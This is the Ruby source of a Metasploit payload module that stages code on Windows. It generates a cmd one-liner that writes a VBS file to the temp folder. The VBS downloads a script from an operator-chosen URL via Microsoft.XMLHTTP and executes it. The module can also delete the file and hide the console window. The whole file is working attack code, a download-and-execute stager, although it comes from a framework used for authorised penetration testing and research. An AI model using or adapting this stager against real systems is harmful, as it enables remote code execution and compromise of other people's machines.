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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Windows Executable Download and Evaluate VBS',
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        'Description' => %q{
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          Downloads a file from an HTTP(S) URL and executes it as a vbs script.
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          Use it to stage a vbs encoded payload from a short command line.
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        },
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        'Author' => 'scriptjunkie',
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        'License' => BSD_LICENSE,
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        'Platform' => 'win',
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        'Arch' => ARCH_CMD,
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        'Handler' => Msf::Handler::None,
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        'Session' => Msf::Sessions::CommandShell,
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        'PayloadType' => 'cmd',
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        'RequiredCmd' => 'wscript',
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        'Payload' => {
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          'Offsets' => {},
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          'Payload' => ''
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('URL', [ true, 'The pre-encoded URL to the script' ]),
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        OptBool.new('INCLUDECMD', [ true, 'Include the cmd /q /c', false ]),
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        OptBool.new('INCLUDEWSCRIPT', [ true, 'Include the wscript command', false ]),
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        OptBool.new('DELETE', [ true, 'Delete created .vbs after download', false ])
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      ]
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    )
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  end
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  def generate(_opts = {})
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    return super + command_string
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  end
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  def command_string
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    # Keep variable names short.
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    vbsname = Rex::Text.rand_text_alpha(1..2)
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    xmlhttpvar = Rex::Text.rand_text_alpha(1..2)
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    command = ''
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    command << 'cmd.exe /q /c ' if datastore['INCLUDECMD']
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    command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):" \
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               "#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:" \
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               "#{xmlhttpvar}.Send:" \
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               "Execute #{xmlhttpvar}.responseText"
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    command << ":CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']
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    # "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window
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    # disappears quickly before the wscript libraries load and the file downloads
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    command << " >#{vbsname}.vbs" \
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               '&start '
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    command << 'wscript ' if datastore['INCLUDEWSCRIPT']
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    command << "#{vbsname}.vbs"
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  end
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end
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